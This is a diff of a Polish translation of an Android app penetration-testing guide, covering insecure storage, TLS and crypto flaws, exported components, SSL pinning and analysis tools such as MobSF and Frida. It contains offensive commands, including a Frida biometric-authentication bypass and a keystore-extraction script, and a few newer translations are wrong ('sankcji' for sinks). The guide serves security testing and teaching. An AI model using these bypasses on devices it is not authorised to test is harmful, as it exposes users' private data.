- **Bazy danych**: Android pozwala każdej aplikacji łatwo zapisywać bazy danych sqlite w ścieżce `/data/data/<packagename>/databases/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze.
|
||||
|
||||
### Broken TLS
|
||||
### Uszkodzony TLS
|
||||
|
||||
**Accept All Certificates**
|
||||
**Akceptuj wszystkie certyfikaty**
|
||||
|
||||
Z jakiegoś powodu czasami deweloperzy akceptują wszystkie certyfikaty, nawet jeśli na przykład nazwa hosta nie pasuje do linii kodu, jak w poniższym przykładzie:
|
||||
```java
|
||||
@ -154,19 +154,19 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą jakiegoś proxy, takiego jak Burp, bez autoryzowania Burp CA na urządzeniu. Możesz również wygenerować za pomocą Burp certyfikat dla innej nazwy hosta i go użyć.
|
||||
|
||||
### Broken Cryptography
|
||||
### Uszkodzona kryptografia
|
||||
|
||||
**Słabe procesy zarządzania kluczami**
|
||||
|
||||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
|
||||
Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji.
|
||||
|
||||
**Użycie niebezpiecznych i/lub przestarzałych algorytmów**
|
||||
|
||||
Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** **autoryzacji**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
|
||||
Deweloperzy nie powinni używać **przestarzałych algorytmów** do przeprowadzania **sprawdzania** autoryzacji, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashe** są używane do przechowywania haseł, powinny być używane hashe odporne na brute-force z solą.
|
||||
|
||||
### Inne kontrole
|
||||
|
||||
- Zaleca się **obfuskację APK**, aby utrudnić atakującym pracę inżynierii odwrotnej.
|
||||
- Zaleca się **obfuskację APK**, aby utrudnić pracę inżynierom odwrotnym.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna przeprowadzać **własne kontrole, aby sprawdzić, czy urządzenie jest zrootowane** i działać w konsekwencji.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna sprawdzić, czy używany jest **emulator**.
|
||||
- Jeśli aplikacja jest wrażliwa (jak aplikacje bankowe), powinna **sprawdzić swoją integralność przed wykonaniem**, aby sprawdzić, czy została zmodyfikowana.
|
||||
@ -192,11 +192,11 @@ Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dos
|
||||
|
||||
Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superzapakowane to algorytm Meta, który kompresuje zawartość aplikacji do jednego pliku. Blog mówi o możliwości stworzenia aplikacji, która dekompresuje tego rodzaju aplikacje... oraz szybszym sposobie, który polega na **wykonaniu aplikacji i zebraniu zdekompresowanych plików z systemu plików.**
|
||||
|
||||
### Zautomatyzowana analiza statyczna kodu
|
||||
### Zautomatyzowana analiza statycznego kodu
|
||||
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinki** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) oraz **reguły**. Te reguły wskazują na **kombinację** **źródeł-sinków**, które wskazują na lukę.
|
||||
Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych źródeł** (które wskazują narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sankcji** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą spowodować szkody) i **reguł**. Te reguły wskazują na **kombinację** **źródeł-sankcji**, która wskazuje na lukę.
|
||||
|
||||
Dzięki tej wiedzy, **mariana-trench przejrzy kod i znajdzie możliwe luki w nim**.
|
||||
Dzięki tej wiedzy, **mariana-trench przeanalizuje kod i znajdzie możliwe luki w nim**.
|
||||
|
||||
### Wycieki sekretów
|
||||
|
||||
@ -243,7 +243,7 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula
|
||||
|
||||
#### Używając emulatora
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** **obsługują biblioteki ARM** bez potrzeby używania wolnego emulatora arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, a według [**tego**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora arm).
|
||||
- Dowiedz się, jak to skonfigurować na tej stronie:
|
||||
|
||||
{{#ref}}
|
||||
@ -260,7 +260,7 @@ Aby **zainstalować usługi Google** (jak AppStore) w Genymotion, musisz klikną
|
||||
|
||||
.png>)
|
||||
|
||||
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieciowy Bridge** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
|
||||
Zauważ również, że w **konfiguracji Android VM w Genymotion** możesz wybrać **tryb sieci mostkowej** (to będzie przydatne, jeśli będziesz łączyć się z Android VM z innej VM z narzędziami).
|
||||
|
||||
#### Użyj fizycznego urządzenia
|
||||
|
||||
@ -273,7 +273,7 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
|
||||
5. Wróć i znajdziesz **Opcje dewelopera**.
|
||||
|
||||
> Po zainstalowaniu aplikacji, pierwszą rzeczą, którą powinieneś zrobić, jest jej przetestowanie i zbadanie, co robi, jak działa i zapoznanie się z nią.\
|
||||
> Sugeruję **przeprowadzenie tej początkowej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć.
|
||||
> Sugeruję **przeprowadzenie tej wstępnej analizy dynamicznej za pomocą analizy dynamicznej MobSF + pidcat**, abyśmy mogli **nauczyć się, jak działa aplikacja**, podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przeglądać.
|
||||
|
||||
### Niezamierzony wyciek danych
|
||||
|
||||
@ -282,12 +282,12 @@ Musisz aktywować opcje **debugowania**, a byłoby dobrze, gdybyś mógł je **z
|
||||
Deweloperzy powinni być ostrożni w ujawnianiu **informacji debugowania** publicznie, ponieważ może to prowadzić do wycieków wrażliwych danych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowane ze względu na łatwość użycia i czytelność.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Więc aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
||||
> Zauważ, że od **nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do swoich własnych logów**. Aplikacje nie mogą uzyskiwać dostępu do logów innych aplikacji.\
|
||||
> Tak czy inaczej, nadal zaleca się **nie logować wrażliwych informacji**.
|
||||
|
||||
**Bufor kopiowania/wklejania**
|
||||
|
||||
Androidowy framework **oparty na schowku** umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
|
||||
Oparty na **schowku** framework Androida umożliwia funkcjonalność kopiowania i wklejania w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskiwać dostęp** do schowka, potencjalnie ujawniając wrażliwe dane. Ważne jest, aby **wyłączyć funkcje kopiowania/wklejania** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych.
|
||||
|
||||
**Logi awarii**
|
||||
|
||||
@ -310,8 +310,8 @@ Wylicz tabele używając `.tables` i wylicz kolumny tabel używając `.schema <t
|
||||
|
||||
### Drozer (Eksploatacja aktywności, dostawców treści i usług)
|
||||
|
||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcja z systemem operacyjnym.\
|
||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak dowiesz się w kolejnych sekcjach.
|
||||
Z [Dokumentacji Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala na **przyjęcie roli aplikacji Android** i interakcję z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu komunikacji międzyprocesowej Androida (IPC) i interakcję z systemem operacyjnym.\
|
||||
Drozer jest przydatnym narzędziem do **eksploatacji eksportowanych aktywności, eksportowanych usług i dostawców treści**, jak nauczysz się w kolejnych sekcjach.
|
||||
|
||||
### Eksploatacja eksportowanych aktywności
|
||||
|
||||
@ -342,12 +342,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Aby uzyskać więcej informacji o [**tym, czym jest Tapjacking, kliknij ten link**](#tapjacking).
|
||||
Jeśli tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej aktywności, aby **zmusić użytkownika do wykonania nieoczekiwanych działań**. Aby uzyskać więcej informacji o [**tym, czym jest Tapjacking, kliknij tutaj**](#tapjacking).
|
||||
|
||||
### Wykorzystywanie dostawców treści - Uzyskiwanie dostępu i manipulowanie wrażliwymi informacjami
|
||||
|
||||
[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest dostawca treści.**](android-applications-basics.md#content-provider)\
|
||||
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia ścieżek**, ponieważ mogą być podatne.
|
||||
Dostawcy treści są zasadniczo używani do **dzielenia się danymi**. Jeśli aplikacja ma dostępne dostawców treści, możesz być w stanie **wyodrębnić wrażliwe** dane z nich. Interesujące jest również testowanie możliwych **iniekcji SQL** i **przechodzenia po ścieżkach**, ponieważ mogą być podatne.
|
||||
|
||||
[**Dowiedz się, jak wykorzystywać dostawców treści za pomocą Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -374,7 +374,7 @@ Możesz **otworzyć** zadeklarowany **schemat** za pomocą **adb** lub **przegl
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie otworzy aplikację, która powinna otworzyć ten link._
|
||||
_Uwaga, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -408,7 +408,7 @@ Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotycz
|
||||
|
||||
#### Weryfikacja certyfikatu
|
||||
|
||||
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stwarzać poważne ryzyko. Szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności można znaleźć w [**tym zasobie**](https://manifestsecurity.com/android-application-security-part-10/).
|
||||
Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezaszyfrowane kanały mogą stwarzać poważne ryzyko. Aby uzyskać szczegółowe kroki dotyczące weryfikacji certyfikatów serwera i rozwiązywania podatności, [**to źródło**](https://manifestsecurity.com/android-application-security-part-10/) oferuje kompleksowe wskazówki.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -416,9 +416,9 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika
|
||||
|
||||
#### Inspekcja ruchu
|
||||
|
||||
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać instrukcje dotyczące instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
|
||||
Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**zobacz ten samouczek**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Jeśli używasz **Flutter**, musisz postępować zgodnie z instrukcjami na [**tej stronie**](flutter.md). Dzieje się tak, ponieważ samo dodanie certyfikatu do magazynu nie zadziała, ponieważ Flutter ma swoją własną listę ważnych CA.
|
||||
|
||||
@ -434,7 +434,7 @@ Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainspi
|
||||
|
||||
#### Szukanie powszechnych podatności w sieci
|
||||
|
||||
Ważne jest również, aby szukać powszechnych podatności w sieci w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
|
||||
Ważne jest również, aby szukać powszechnych podatności w sieci w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione gdzie indziej.
|
||||
|
||||
### Frida
|
||||
|
||||
@ -467,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Wrażliwe dane w Keystore**
|
||||
|
||||
W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub ktoś z fizycznym dostępem do urządzenia mógłby być w stanie ukraść te dane.
|
||||
W systemie Android Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy wystarczających uprawnieniach **możliwe jest ich uzyskanie**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **wrażliwych danych w postaci niezaszyfrowanej**, testy penetracyjne powinny to sprawdzać, ponieważ użytkownik root lub osoba z fizycznym dostępem do urządzenia mogłaby być w stanie ukraść te dane.
|
||||
|
||||
Nawet jeśli aplikacja przechowuje dane w keystore, dane powinny być zaszyfrowane.
|
||||
|
||||
@ -475,9 +475,9 @@ Aby uzyskać dostęp do danych wewnątrz keystore, możesz użyć tego skryptu F
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Ominięcie odcisku palca/biometrii**
|
||||
### **Ominięcie odcisków palców/biometrii**
|
||||
|
||||
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odciskiem palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
|
||||
Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisków palców**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -489,7 +489,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
|
||||
|
||||
Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
|
||||
Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -501,7 +501,7 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy
|
||||
|
||||
Programiści często tworzą komponenty proxy, takie jak aktywności, usługi i odbiorniki rozgłoszeniowe, które obsługują te Intencje i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne.
|
||||
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub uzyskiwania dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych dostawców treści poprzez błędne kierowanie tych Intencji. Znaczącym przykładem jest komponent `WebView`, który konwertuje adresy URL na obiekty `Intent` za pomocą `Intent.parseUri(...)`, a następnie je wykonuje, co może prowadzić do złośliwych wstrzyknięć Intencji.
|
||||
|
||||
### Kluczowe Wnioski
|
||||
|
||||
@ -512,13 +512,13 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow
|
||||
|
||||
### Wstrzyknięcia po stronie klienta Androida i inne
|
||||
|
||||
Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
|
||||
Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
|
||||
|
||||
- **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
|
||||
- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
|
||||
- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||
- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **Eternal cookies**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku.
|
||||
- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -536,7 +536,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
|
||||
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie w stanie go przeanalizować.
|
||||
Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie w stanie również go przeanalizować.
|
||||
|
||||
MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = <Twój klucz API>` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
|
||||
|
||||
@ -549,15 +549,15 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru
|
||||
- Przechwytywać **ruch HTTPS**
|
||||
- Używać **Frida** do uzyskania **informacji w czasie rzeczywistym**
|
||||
|
||||
Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
|
||||
Od wersji Android **> 5**, automatycznie uruchomi **Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
|
||||
|
||||
**Frida**
|
||||
|
||||
Domyślnie użyje również niektórych skryptów Frida do **obejścia SSL pinning**, **wykrywania root** i **wykrywania debuggera** oraz do **monitorowania interesujących API**.\
|
||||
MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
|
||||
|
||||
Aby **rozpocząć** testy dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wcześniej napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
|
||||
Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
|
||||
MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wstępnie napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -570,11 +570,11 @@ Ponadto masz kilka dodatkowych funkcji Frida:
|
||||
- **Search Class Pattern**: Wyszukaj klasy według wzoru
|
||||
- **Trace Class Methods**: **Śledź** **całą klasę** (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF śledzi kilka interesujących metod API Androida.
|
||||
|
||||
Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||
Gdy wybierzesz dodatkowy moduł, który chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyniki w "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||
Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i ogólnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -600,7 +600,7 @@ Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API
|
||||
### Wspomagana analiza dynamiczna z Inspeckage
|
||||
|
||||
Możesz pobrać narzędzie z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
To narzędzie użyje kilku **Hooków**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
|
||||
To narzędzie użyje kilku **Hooks**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
@ -646,13 +646,13 @@ StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowc
|
||||
|
||||
Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje wizualny i przenośny raport dla Ciebie. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
|
||||
|
||||
Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
|
||||
AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -672,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych i specjalistów ds. bezpieczeństwa.
|
||||
**MARA** to **M**obilna **A**plikacja **R**everse engineering i **A**naliza Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do reverse engineering i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
|
||||
|
||||
Może:
|
||||
|
||||
